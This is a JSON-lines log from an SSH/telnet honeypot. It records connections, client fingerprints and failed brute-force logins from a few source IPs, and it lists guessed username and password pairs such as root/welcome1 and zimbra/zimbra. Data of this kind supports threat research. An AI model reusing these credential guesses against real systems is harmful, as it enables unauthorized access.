{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:07.887992Z","src_ip":"192.109.200.237","session":"275c86fc2922","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"sysadmin","message":"login attempt [sysadmin/sysadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:08.160809Z","src_ip":"192.109.200.237","session":"275c86fc2922","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58546,"dst_ip":"10.17.0.5","dst_port":23,"session":"f936312591a3","protocol":"telnet","message":"New connection: 50.6.8.71:58546 (10.17.0.5:23) [session: f936312591a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:08.709042Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:09.248977Z","src_ip":"192.109.200.237","session":"275c86fc2922","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35944,"dst_ip":"159.203.135.109","dst_port":22,"session":"55251bf6abc8","protocol":"ssh","message":"New connection: 192.109.200.237:35944 (159.203.135.109:22) [session: 55251bf6abc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:11.116489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:11.121473Z","src_ip":"192.109.200.237","session":"55251bf6abc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:11.204139Z","src_ip":"192.109.200.237","session":"55251bf6abc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa1234567890","message":"login attempt [root/Aa1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:11.453295Z","src_ip":"192.109.200.237","session":"55251bf6abc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:12.655213Z","src_ip":"192.109.200.237","session":"55251bf6abc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.68836951255798,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:13.150098Z","src_ip":"50.6.8.71","session":"d854d0e70915","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58556,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff8705b14ca7","protocol":"telnet","message":"New connection: 50.6.8.71:58556 (10.17.0.5:23) [session: ff8705b14ca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:14.320451Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35966,"dst_ip":"159.203.135.109","dst_port":22,"session":"acf8d43154c4","protocol":"ssh","message":"New connection: 192.109.200.237:35966 (159.203.135.109:22) [session: acf8d43154c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:14.441441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:14.449488Z","src_ip":"192.109.200.237","session":"acf8d43154c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:14.532068Z","src_ip":"192.109.200.237","session":"acf8d43154c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zlm","password":"123456","message":"login attempt [zlm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:14.788956Z","src_ip":"192.109.200.237","session":"acf8d43154c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:15.874576Z","src_ip":"192.109.200.237","session":"acf8d43154c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58564,"dst_ip":"10.17.0.5","dst_port":23,"session":"732fd13d6a40","protocol":"telnet","message":"New connection: 50.6.8.71:58564 (10.17.0.5:23) [session: 732fd13d6a40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:16.114832Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35984,"dst_ip":"159.203.135.109","dst_port":22,"session":"362c3b0b1d23","protocol":"ssh","message":"New connection: 192.109.200.237:35984 (159.203.135.109:22) [session: 362c3b0b1d23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:17.781124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:17.787658Z","src_ip":"192.109.200.237","session":"362c3b0b1d23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:17.871926Z","src_ip":"192.109.200.237","session":"362c3b0b1d23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321","message":"login attempt [root/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:18.120308Z","src_ip":"192.109.200.237","session":"362c3b0b1d23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:19.206160Z","src_ip":"192.109.200.237","session":"362c3b0b1d23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60768,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7ee668a0ceb","protocol":"ssh","message":"New connection: 192.109.200.237:60768 (159.203.135.109:22) [session: c7ee668a0ceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:20.974556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:20.980066Z","src_ip":"192.109.200.237","session":"c7ee668a0ceb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:21.064072Z","src_ip":"192.109.200.237","session":"c7ee668a0ceb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome1","message":"login attempt [root/welcome1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:21.315921Z","src_ip":"192.109.200.237","session":"c7ee668a0ceb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57130,"dst_ip":"10.17.0.5","dst_port":23,"session":"c16a0025d629","protocol":"telnet","message":"New connection: 50.6.8.71:57130 (10.17.0.5:23) [session: c16a0025d629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:21.388554Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":36348,"dst_ip":"159.203.135.109","dst_port":22,"session":"86459b05e1e8","protocol":"ssh","message":"New connection: 103.195.236.96:36348 (159.203.135.109:22) [session: 86459b05e1e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:21.733606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:21.739079Z","src_ip":"103.195.236.96","session":"86459b05e1e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:21.986217Z","src_ip":"103.195.236.96","session":"86459b05e1e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:22.500187Z","src_ip":"192.109.200.237","session":"c7ee668a0ceb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfgh01","message":"login attempt [root/asdfgh01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:22.739858Z","src_ip":"103.195.236.96","session":"86459b05e1e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:23.989074Z","src_ip":"103.195.236.96","session":"86459b05e1e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60786,"dst_ip":"159.203.135.109","dst_port":22,"session":"402f181b3305","protocol":"ssh","message":"New connection: 192.109.200.237:60786 (159.203.135.109:22) [session: 402f181b3305]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:24.204117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:24.208527Z","src_ip":"192.109.200.237","session":"402f181b3305","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:24.290140Z","src_ip":"192.109.200.237","session":"402f181b3305","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zimbra","password":"zimbra","message":"login attempt [zimbra/zimbra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:24.594722Z","src_ip":"192.109.200.237","session":"402f181b3305","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:25.679861Z","src_ip":"192.109.200.237","session":"402f181b3305","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.33079671859741,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:26.201194Z","src_ip":"50.6.8.71","session":"89df5bb12b30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60818,"dst_ip":"159.203.135.109","dst_port":22,"session":"758e7be39f90","protocol":"ssh","message":"New connection: 192.109.200.237:60818 (159.203.135.109:22) [session: 758e7be39f90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:27.575494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:27.580276Z","src_ip":"192.109.200.237","session":"758e7be39f90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:27.663688Z","src_ip":"192.109.200.237","session":"758e7be39f90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:27.917038Z","src_ip":"192.109.200.237","session":"758e7be39f90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:29.003163Z","src_ip":"192.109.200.237","session":"758e7be39f90","protocol":"ssh"}
